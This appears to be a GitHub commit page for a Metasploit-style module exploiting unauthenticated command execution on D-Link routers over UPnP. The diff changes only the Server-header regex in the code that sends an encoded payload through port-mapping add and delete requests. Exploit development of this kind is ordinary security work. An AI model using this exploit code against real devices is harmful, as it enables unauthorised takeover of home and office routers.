Skip to content

Commit e93eef4

Browse files
author
m-1-k-3
committed
fixing server header check
1 parent f26b60a commit e93eef4

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/linux/http/dlink_upnp_exec_noauth.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -105,13 +105,13 @@ def exploit_cmd(new_external_port, new_internal_port, new_portmapping_descriptio
105105
cmd = payload.encoded
106106
type = "add"
107107
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
108-
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
108+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
109109
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
110110
end
111111
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
112112
type = "delete"
113113
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
114-
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
114+
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
115115
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
116116
end
117117
return

0 commit comments

Comments
 (0)